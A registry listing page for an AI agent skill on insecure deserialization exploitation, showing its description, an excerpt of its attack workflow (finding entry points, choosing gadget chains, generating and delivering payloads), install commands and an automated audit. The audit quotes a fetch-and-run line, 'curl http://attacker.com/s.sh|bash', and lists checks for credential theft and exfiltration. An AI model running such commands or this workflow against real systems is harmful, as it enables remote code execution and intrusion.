offensive-deserialization SKILL.md skillB
offensive-deserialization from miosa-osa/osa is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add miosa-osa/osa/offensive-deserialization@git:20260913.e13b6b8Pins git:20260913.e13b6b8 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- B, 16 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- miosa-osa/osa
- Path
priv/skills/offensive-deserialization/SKILL.md- Versions recorded
- 1
- Latest version
- git:20260913.e13b6b8, committed Sep 13, 2026
- Size
- 23,648 bytes
- Repository stars
- 78
- License
- Apache-2.0
Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces…
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Offensive Deserialization Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs. ## Quick Workflow 1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints. 2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures). 3. Determine the server-side language and framework version from error pages, HTTP headers, or source code. 4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction. 5. Deliver through the identified entry point. Start with DNS-only or sleep-based …
Read the whole file at its exact version.
How to install
mdr add miosa-osa/osa/offensive-deserialization@sha256:c8fe45bded92d54dThe line at the top of this page pins the label git:20260913.e13b6b8, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_p3nlihmots75z2rm)
4 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 1 version of this file, committed on Sep 13, 2026.
Audit of the latest version
- fail: No curl or wget piped into a shell (matched: curl http://attacker.com/s.sh|bash)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (23648 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
miosa-osa/osa · 78 stars · license Apache-2.0 · pushed 2026-10-29 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_p3nlihmots75z2rm GET https://markdownregistry.com/api/v1/resolve?ref=miosa-osa/osa/offensive-deserialization GET https://markdownregistry.com/api/v1/blob/c8fe45bded92d54d7df0caa50c25dc1f3e9b65183671b078df0d4bdd3c6aa3a2
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.